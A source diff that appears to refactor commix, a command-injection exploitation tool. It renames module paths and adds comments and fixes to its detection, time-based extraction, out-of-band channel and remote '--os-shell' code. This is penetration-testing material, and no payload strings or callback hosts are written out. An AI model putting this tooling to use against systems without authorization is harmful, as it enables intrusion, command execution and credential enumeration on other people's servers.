+596,7 @@ def build(header_name, option_value, value): if not in_data and marker not in url: return param_label = ("POST" if in_data else "GET") + " parameter '" + check_parameter + "'" + # Fetch the URL with one value in place of the parameter's own. def fetch(v): if in_data: data = menu.options.data.replace(marker, v) @@ -603,6 +635,9 @@ def _body(value): if changed >= min(noise, settings.STABILITY_SIMILARITY_THRESHOLD): warn_msg = param_label + " does not appear to be dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif settings.VERBOSITY_LEVEL != 0: + debug_msg = param_label + " appears to be dynamic." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ Replace the parameter value with a disposable placeholder if the response stays the same but gets faster. @@ -638,6 +673,7 @@ def attempt_skip_testable_value(url, http_request_method, check_parameter): debug_msg = "Testing if " + param_label + " requires its original value." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Build the request with the given value in place of the parameter's own. def build(value): if in_data: data = menu.options.data.replace(marker, value) @@ -676,7 +712,7 @@ def build(value): settings.TESTABLE_VALUE_OPTIMIZED = True session_handler.import_testable_value_status(url, check_parameter, http_request_method, placeholder) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The real parameter value isn't required. Skipping it for faster requests." + debug_msg = "The real parameter value is not required, so it is skipped for faster requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) elif settings.VERBOSITY_LEVEL != 0: debug_msg = param_label + " appears to require its original value." @@ -706,6 +742,10 @@ def injection_process(url, check_parameter, http_request_method, filename, times # Loop over the selected OS targets for os_target in os_targets: + # A heuristic on an earlier pass may have settled which shell answers. Sweeping the other one + # then costs a second full pass and, worse, writes over what was identified. + if settings.IDENTIFIED_TARGET_OS and settings.TARGET_OS != os_target: + continue settings.TARGET_OS = os_target if settings.PERFORM_BASIC_SCANS: @@ -744,6 +784,7 @@ def injection_process(url, check_parameter, http_request_method, filename, times # Defer response-time estimation until a time-related technique is about to run. url_time_response = 0 _time_warmup_done = False + # Take the timing model once, before the first technique that needs one. def _ensure_time_warmup(): nonlocal timesec, url_time_response, _time_warmup_done if _time_warmup_done or settings.SKIP_COMMAND_INJECTIONS: @@ -777,12 +818,12 @@ def _ensure_time_warmup(): if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) test to the " + settings.CHECKING_PARAMETER + "." + debug_msg = "Skipping heuristic (basic) test on the " + settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - info_msg = "Performing heuristic (basic) test to the " + settings.CHECKING_PARAMETER + "." + info_msg = "Performing heuristic (basic) test on the " + settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: @@ -809,6 +850,13 @@ def _ensure_time_warmup(): except settings.EndDetectionPhaseException: break + # Asked last and only where nothing else could answer, "no" still being a fair answer. + if settings.OS_IDENTIFICATION_PENDING: + settings.OS_IDENTIFICATION_PENDING = False + warn_msg = "Unable to fingerprint the target operating system." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + checks.define_target_os() + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE: settings.HEURISTIC_TEST.POSITIVE = False warn_msg = "Heuristic (basic) test shows that " @@ -835,12 +883,14 @@ def _ensure_time_warmup(): if checks.procced_with_file_based_technique(): menu.options.tech = "f" + # Whether a stored finding already answers what this technique would ask. def _time_related_resume_redundant(): # A resumed finding is already confirmed, so re-verifying the slow ones adds nothing # when a results-based technique is stored too. return settings.LOAD_SESSION and not settings.USER_APPLIED_TECHNIQUE and any( _ in settings.STORED_TECHNIQUES for _ in (settings.INJECTION_TECHNIQUE.CLASSIC, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE)) + # Test the parameter by how long the target takes to answer. def _run_time_based(): if _time_related_resume_redundant(): return @@ -852,6 +902,7 @@ def _run_time_based(): checks.warm_up_response_baseline(url, http_request_method) return timebased_technique(url, timesec, filename, http_request_method, url_time_response) + # Test the parameter by a file the target writes and then serves back. def _run_file_based(): if _time_related_resume_redundant(): return @@ -867,6 +918,7 @@ def _run_file_based(): _run_file_based, lambda: oob_command_injection_technique(url, timesec, filename, http_request_method), ] + # Work through the techniques in turn, carrying on past the ones that find nothing. def _run_techniques(): technique_idx = 0 while technique_idx < len(techniques): @@ -929,6 +981,7 @@ def has_stored_session(url, check_parameter, http_request_method): """ def http_headers_injection(url, http_request_method, filename, timesec): + # Test one HTTP header as the parameter, then put back what it held. def inject_header(header_attr, option_attr, injection_flag_attr): # Save the original value of the option (to restore later) original_value = getattr(menu.options, option_attr) @@ -1109,6 +1162,7 @@ def injection_call(url, check_param): # Test already-confirmed parameters first, not in request order. if not menu.options.ignore_session and not menu.options.flush_session and os.path.isfile(settings.SESSION_FILE): + # Whether this parameter already has a finding stored from an earlier run. def has_stored_session(check_param): try: return bool(session_handler.load_stored_techniques(url, check_param, http_request_method)) @@ -1360,7 +1414,7 @@ def do_check(url, http_request_method, filename): if settings.RECHECK_FILE_FOR_EXTRACTION: settings.RECHECK_FILE_FOR_EXTRACTION = False - # Check for '--tor' option. + # Check for '--tor' switch. if menu.options.tor: if checks.technique_selected("t") or checks.technique_selected("f"): warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " @@ -1392,7 +1446,7 @@ def do_check(url, http_request_method, filename): if untested: err_msg += " That would also test the " + untested + "." if not menu.options.eval_sink: - err_msg += " Code injection was not tested; the '--eval' switch tests for it." + err_msg += " Code injection was not tested; the '--eval' option tests for it." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" if not menu.options.tamper: err_msg += " use option '--tamper'" @@ -1417,4 +1471,4 @@ def do_check(url, http_request_method, filename): except KeyboardInterrupt: checks.handle_early_interrupt(filename, url) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/controller/enumeration.py b/src/core/controller/enumeration.py similarity index 98% rename from src/core/injections/controller/enumeration.py rename to src/core/controller/enumeration.py index 448a712d35..c50059ce87 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -13,10 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks -from src.core.injections.controller import execution +from src.core.controller import checks +from src.core.controller import execution """ Powershell's version number enumeration (for Windows OS) @@ -146,6 +146,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): injector = execution.select_injector(technique) execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + # Run the command, and let a freshly executed one settle before the next. def wrapped(cmd): shell, fresh = execute_cmd(cmd) if fresh and settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: @@ -209,4 +210,4 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time if not settings.ENUMERATION_DONE and menu.enumeration_options(): do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/controller/execution.py b/src/core/controller/execution.py similarity index 90% rename from src/core/injections/controller/execution.py rename to src/core/controller/execution.py index 86876ae878..880e4bfb06 100644 --- a/src/core/injections/controller/execution.py +++ b/src/core/controller/execution.py @@ -13,28 +13,28 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.utils import session_handler from src.core.requests import requests -from src.core.injections.controller import checks +from src.core.controller import checks """ Select the injector module for the given technique. """ def select_injector(technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector + from src.core.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval import eb_injector as injector + from src.core.eval import eb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector + from src.core.techniques.time_based import tb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + from src.core.techniques.file_based import fb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.OOB: - from src.core.injections.blind.techniques.oob import oob_injector as injector + from src.core.techniques.oob import oob_injector as injector else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + from src.core.techniques.tempfile_based import tfb_injector as injector return injector """ @@ -105,6 +105,7 @@ def execute_cmd(cmd): """ def make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess=lambda shell: shell, postprocess_time=lambda shell: shell, catch_time_error=False): fire = make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time, catch_time_error) + # Run one command, reusing a stored answer where the session already holds one. def execute_cmd(cmd): stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) fresh = not checks.usable_stored_cmd(stored) or menu.options.ignore_session diff --git a/src/core/injections/controller/file_access.py b/src/core/controller/file_access.py similarity index 97% rename from src/core/injections/controller/file_access.py rename to src/core/controller/file_access.py index ec89521392..b4930451ce 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/controller/file_access.py @@ -13,11 +13,11 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.utils import session_handler -from src.core.injections.controller import checks -from src.core.injections.controller import execution +from src.core.controller import checks +from src.core.controller import execution from src.thirdparty.six.moves import urllib as _urllib """ @@ -107,4 +107,4 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time if not settings.FILE_ACCESS_DONE and menu.file_access_options(): do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/controller/handler.py b/src/core/controller/handler.py similarity index 94% rename from src/core/injections/controller/handler.py rename to src/core/controller/handler.py index 6982c32633..b475326059 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/controller/handler.py @@ -18,20 +18,20 @@ import time import string import random -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import logs from src.utils import settings from src.utils import common from src.core.compat import xrange from src.utils import session_handler from src.core.requests import requests -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options +from src.core.controller import shell_options from src.thirdparty.six.moves import html_parser as _html_parser -from src.core.injections.controller import file_access -from src.core.injections.controller import enumeration -from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler +from src.core.controller import file_access +from src.core.controller import enumeration +from src.core.techniques.tempfile_based import tfb_handler """ Move a value already confirmed working (by another technique) to the front of a candidate list. @@ -73,26 +73,28 @@ def _announce_technique(injection_type, technique): checks.testing_technique_title(injection_type, technique) """ -Register a post-detection action, run once at quit(). +Hold an action back, with the kind of attack that was in force when it was registered. + +What is deferred to quit() is run long after the technique that asked for it has finished, and the +next one may have set a different kind of attack in the meantime - so the flag travels with the +action rather than being read again when it finally runs. """ -def _register_post_detection_action(action, time_related_attack=None): +def _deferred_action(action, time_related_attack=None): if time_related_attack is None: time_related_attack = settings.TIME_RELATED_ATTACK + # The action itself, carrying the flag that was in force when it was held back. def run(): settings.TIME_RELATED_ATTACK = time_related_attack action() - settings.PENDING_POST_DETECTION_ACTIONS.append(run) + return run -""" -Register the single deferred --os-shell entry, run at quit(). -""" +# Register a post-detection action, run once at quit(). +def _register_post_detection_action(action, time_related_attack=None): + settings.PENDING_POST_DETECTION_ACTIONS.append(_deferred_action(action, time_related_attack)) + +# Register the single deferred '--os-shell' entry, run at quit(). def _register_os_shell_entry(action, time_related_attack=None): - if time_related_attack is None: - time_related_attack = settings.TIME_RELATED_ATTACK - def run(): - settings.TIME_RELATED_ATTACK = time_related_attack - action() - settings.PENDING_OS_SHELL_ENTRY = run + settings.PENDING_OS_SHELL_ENTRY = _deferred_action(action, time_related_attack) """ Exit handler @@ -123,7 +125,7 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + from src.core.techniques.file_based import fb_injector as injector if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE @@ -181,8 +183,10 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c # completed, and that space would travel all the way into the payloads as part of the # command - visible there, and read back as output the command never produced. cmd = common.safe_input(settings.OS_SHELL).strip() + # An empty line asks for nothing, so it is answered with a fresh prompt - it used to be + # read as "switch to the mode you are already in", which only ever said so. if len(cmd) == 0: - cmd = "use os_shell" + continue cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS or cmd.lower().split(" ", 1)[0] in ("use", "download", "upload"): if cmd.lower() == "quit" or cmd.lower() == "exit": @@ -199,7 +203,7 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c settings.print_data_to_stdout(settings.command_execution_output(shell)) else: err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if menu.options.abort_on_empty: raise SystemExit() except KeyboardInterrupt: @@ -238,7 +242,9 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c # Return False to stop searching after this combination was already reported. return True +# Open a shell on the target, carried by whichever technique proved the injection. def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): + # Offer to remove whatever the technique left on the target before the run ends. def cleanup(): # The file is on the target because the technique put it there, whatever the run then did with # it - so the offer to remove it does not wait on '--os-shell' having been the thing asked for. @@ -246,6 +252,7 @@ def cleanup(): # Registered here, actually asked/run later at quit(). settings.PENDING_FILE_CLEANUPS[OUTPUT_TEXTFILE] = lambda: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + # Run one command through the confirmed injection point, reusing a stored answer where there is one. def execute_cmd(cmd): time.sleep(timesec) _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -335,24 +342,31 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me settings.TESTABLE_VALUE_OPTIMIZED = True session_handler.import_testable_value_status(url, vuln_parameter, http_request_method, placeholder) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The real parameter value isn't required. Skipping it for faster requests." + debug_msg = "The real parameter value is not required, so it is skipped for faster requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - # Reset the caller's own cached prefix - it still has the old value baked in. - return url, "" + """ + Hand back the boundary itself, rather than nothing at all. + + The caller's prefix still has the old value baked into it, so it cannot be kept - but an empty one + can only be right where the separator is what breaks in. An evaluation sink is reached through the + prefix, and dropping it leaves every payload after this sitting in the string as text. + """ + return url, probe_prefix """ Fire every boundary/transport candidate without waiting, then poll once for the results. """ def do_oob_process(url, timesec, filename, http_request_method, injection_type, technique): - from src.core.injections.blind.techniques.oob import oob_payloads as payloads + from src.core.techniques.oob import oob_payloads as payloads channel = checks.init_oob_channel() if channel is None: return False + # Exploit the confirmed out-of-band boundary, once a client on the target has been found to reach back. def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG): - from src.core.injections.blind.techniques.oob import oob_injector as oob_inj + from src.core.techniques.oob import oob_injector as oob_inj settings.OOB_TRANSPORT = transport if not oob_inj.can_execute(): alternatives = payloads.exfiltration_alternatives(transport) @@ -368,6 +382,7 @@ def _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, T _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, 0, technique)) if menu.options.os_cmd: + # Run the command given with '--os-cmd', once, whichever technique got there first. def _run_os_cmd(): if settings.OS_CMD_DONE: return @@ -410,6 +425,7 @@ def _run_os_cmd(): checks.injection_process(injection_type, technique, done=True) return False +# Try each boundary against the channel until one of them calls back. def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, timesec, filename, http_request_method, technique, channel, payloads, _exploit): whitespaces = settings.WHITESPACES @@ -646,8 +662,9 @@ def _oob_usable(candidate, payloads): Open the pseudo-terminal on top of the out-of-band channel. """ def oob_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique, transport): - from src.core.injections.blind.techniques.oob import oob_injector as injector + from src.core.techniques.oob import oob_injector as injector + # Run one command over the out-of-band channel, reusing a stored answer where there is one. def execute_cmd(cmd): stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if not menu.options.ignore_session and checks.usable_stored_cmd(stored): @@ -668,8 +685,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim resuming_stored = settings.LOAD_SESSION and technique in settings.STORED_TECHNIQUES if settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored: if not checks.target_serves_concurrently(url, http_request_method, settings.THREADS): - warn_msg = "The target serves requests one at a time, so concurrent timing requests would " - warn_msg += "queue and corrupt the retrieved data. Continuing with a single thread." + warn_msg = "The target answers one request at a time. Continuing with a single thread." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.THREADED_TIME_RETRIEVAL_CHOICE = False else: @@ -699,10 +715,10 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim settings.MAXLEN = maxlen = menu.options.maxlen if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector + from src.core.techniques.time_based import tb_injector as injector payloads = checks.time_based_payloads() else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + from src.core.techniques.tempfile_based import tfb_injector as injector payloads = checks.tempfile_based_payloads() if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: @@ -934,11 +950,15 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" - url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) + # An optimisation only, and it costs a timing model and a delayed request to find - so a + # resumed finding is replayed as it was stored rather than measured again for it. + if not resumed: + url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) # Registered here, run once at quit(). _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) if menu.options.os_cmd: + # Run the command given with '--os-cmd', once, whichever technique got there first. def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique, output=output): if settings.OS_CMD_DONE: return @@ -971,14 +991,14 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject unescape = html.unescape except: # Python 2 unescape = _html_parser.HTMLParser().unescape - from src.core.injections.results_based.techniques.classic import cb_injector as injector - from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + from src.core.techniques.classic import cb_injector as injector + from src.core.techniques.classic import cb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval import eb_injector as injector - from src.core.injections.results_based.techniques.eval import eb_payloads as payloads + from src.core.eval import eb_injector as injector + from src.core.eval.payloads import classic as payloads else: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + from src.core.techniques.file_based import fb_injector as injector payloads = checks.file_based_payloads() # Calculate all possible combinations @@ -1286,6 +1306,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) if menu.options.os_cmd: + # Run the command given with '--os-cmd', once, whichever technique got there first. def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique): if settings.OS_CMD_DONE: return @@ -1298,4 +1319,6 @@ def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os else: return - return exit_handler(no_result) \ No newline at end of file + return exit_handler(no_result) + +# eof diff --git a/src/core/injections/controller/injector.py b/src/core/controller/injector.py similarity index 93% rename from src/core/injections/controller/injector.py rename to src/core/controller/injector.py index 2febf931a2..c0b11d4263 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/controller/injector.py @@ -25,13 +25,13 @@ except ImportError: # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. _THREADS_SUPPORTED = False -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.core.requests import requests from src.core.requests import stability from src.utils import common -from src.core.injections.controller import checks -from src.core.injections.controller import execution +from src.core.controller import checks +from src.core.controller import execution from src.utils import session_handler from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import html_parser as _html_parser @@ -54,6 +54,7 @@ def retrieval_concurrency(): return settings.THREADS return 1 +# Retrieve a command's output from a target that answers only by how long it takes. def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): payloads = execution.select_payloads_module(technique) @@ -119,6 +120,7 @@ def _warm_up_target_shell(): except Exception: pass + # Sample how long the target takes to answer when nothing is asking it to wait. def _warm_up_baseline(announce=True): fan_out = retrieval_concurrency() # A model of responses asked for one at a time says nothing about how the target answers while @@ -140,13 +142,14 @@ def _warm_up_baseline(announce=True): # Silent where the caller has just said what it is taking the model again for: the dots # carry on under that line instead of repeating it. if announce and not announced: - warn_msg = "Time-related response comparison requires a larger statistical model" + warn_msg = settings.TIMING_BASELINE_MSG warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." # The open line says what is being tested, so it is closed rather than written over - and # this one is left open in its turn, for the dots below to be counted off on it. settings.close_progress_line() settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + # One sample, taken with a condition that cannot hold, so no delay is asked for. def _probe(): safe_candidate = int(maxlen) * 2 + 100 if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -180,6 +183,7 @@ def _probe(): # Nothing more to sample, but the line the warm-up opened is still waiting to be closed. settings.print_data_to_stdout(" (done)") + # Note a target that has started answering late of its own accord. def _check_lagging(): nonlocal length_suspect, lagging_detected if checks.check_lagging(): @@ -218,6 +222,7 @@ def _fall_back_to_single_thread(reason): del settings.RESPONSE_TIMES[:] _warm_up_baseline(announce=False) + # Raise the delay until it stands clear of the target's own response times. def _raise_delay_above_baseline(): nonlocal timesec needed = _needed_delay() @@ -239,6 +244,7 @@ def _raise_delay_above_baseline(): timesec_lock = threading.Lock() delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES + # Lower the delay again where the target has been answering promptly all along. def _adjust_time_delay(exec_time, lower_limit): nonlocal timesec # Never while several requests are in flight. The limit behind this is measured on answers that @@ -305,6 +311,7 @@ def _measure_length(payload): # Where the two are indistinguishable, every comparison reads as true and the search would settle # on '--maxlen' and then extract that many characters of noise. def _oracle_holds(): + # How long the target takes to answer a question about the output's length. def _probe_time(candidate): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: probe = payloads.get_length(separator, cmd, candidate, timesec, http_request_method) @@ -331,6 +338,24 @@ def _probe_time(candidate): return True return False + """ + Whether the target still delays for a condition that holds whatever the command answered. + + Asked only once the oracle has failed, and it separates the two reasons it can fail: a delay that + no longer stands out from the target's own answers, and a command whose output is empty - where + every question about the length of that output is correctly answered "no". + """ + def _delay_still_observable(): + probe = payloads.condition_check(separator, "1 -eq 1", timesec, http_request_method) + if not probe: + return None + try: + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + return None + return checks.time_related_shell(exec_time, timesec) + # Whether the answers can still be told apart while several requests are in flight - asked of the # target rather than inferred from a model of it. One probe whose condition cannot hold, and so # cannot ask for a delay, is sent alongside the others that do ask for one: if even that one comes @@ -348,6 +373,7 @@ def _confounded_by_threads(workers): if not quick or not slow: return None + # One request whose only purpose is to occupy the target while another is timed. def _hold_answer_back(): # The point of these is the load they put on the target, not what they come back with. threading.current_thread().commix_suppress_output = True @@ -399,9 +425,16 @@ def _drop_threads_if_timing_unsafe(): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not _oracle_holds(): - err_msg = "The target answers as late for a condition that cannot hold as for one that does, " - err_msg += "so the length of the output cannot be measured. Try again with a higher '--time-sec'" - err_msg += ", fewer '--threads', or over a less loaded network." + if _delay_still_observable(): + # The delay is there for a condition that does not ask about the output, and gone for every + # one that does - so the command answered nothing, and there is no length to look for. + err_msg = "The '" + str(cmd) + "' command produced no output on the target." + else: + err_msg = "Delayed and ordinary answers cannot be told apart, so the output length cannot be " + err_msg += "measured. Try a higher '--time-sec'" + if retrieval_concurrency() > 1: + err_msg += ", fewer '--threads'" + err_msg += ", or a less loaded network." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_critical_msg(err_msg)) return 0, "" @@ -452,6 +485,7 @@ def _length_delayed_confirmed(candidate): return first return _length_delayed(candidate) + # Find the length of the output, by bracketing it and then halving the bracket. def _bisect_length(): lo = int(minlen) - 1 hi = None @@ -484,6 +518,7 @@ def _bisect_length(): output_length = _bisect_length() if output_length is not None: + # Whether a length is the answer: it must hold, and the next one up must not. def _boundary_holds(candidate): if not _length_delayed(candidate): return False @@ -493,6 +528,7 @@ def _boundary_holds(candidate): return False return True + # Read the length back a second way, where the technique can be asked for it directly. def _exact_length_confirmed(candidate): if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: return True @@ -633,6 +669,7 @@ def _render_output_so_far(): text = text[:-2] + ".." return text + # Rewrite the progress line with the characters resolved so far. def _print_progress(): if settings.VERBOSITY_LEVEL == 0: progress_msg = base_progress_msg.rstrip(".") + ": " + _render_output_so_far() @@ -673,6 +710,7 @@ def _save_progress(): value = settings.PARTIAL_VALUE_MARKER + str(output_length) + ":" + pairs session_handler.store_cmd(url, cmd, value, vuln_parameter) + # Resolve one character of the output, by halving the range its value lies in. def _bisect_once(num_of_chars, char_pool): nonlocal timesec # Binary search over the character's ordinal value. @@ -680,6 +718,7 @@ def _bisect_once(num_of_chars, char_pool): max_ord = max(char_pool) conn_error_flag = False + # Whether the target waits when asked if this character is at or below a value. def _char_delayed(candidate, operator="-le"): nonlocal conn_error_flag with timesec_lock: @@ -703,6 +742,7 @@ def _char_delayed(candidate, operator="-le"): _adjust_time_delay(exec_time, lower_limit) return decision + # The halving itself, over the ordinals the character can still be. def _bisect_chars(force_full=False): lo = min_ord - 1 hi = max_ord @@ -883,6 +923,7 @@ def _validate_char_boundary(candidate): return ascii_char, conn_error_flag + # Resolve the character at one position, on whichever shell the run is speaking. def _extract_position(num_of_chars): nonlocal timesec char_pool = checks.generate_char_pool(num_of_chars) 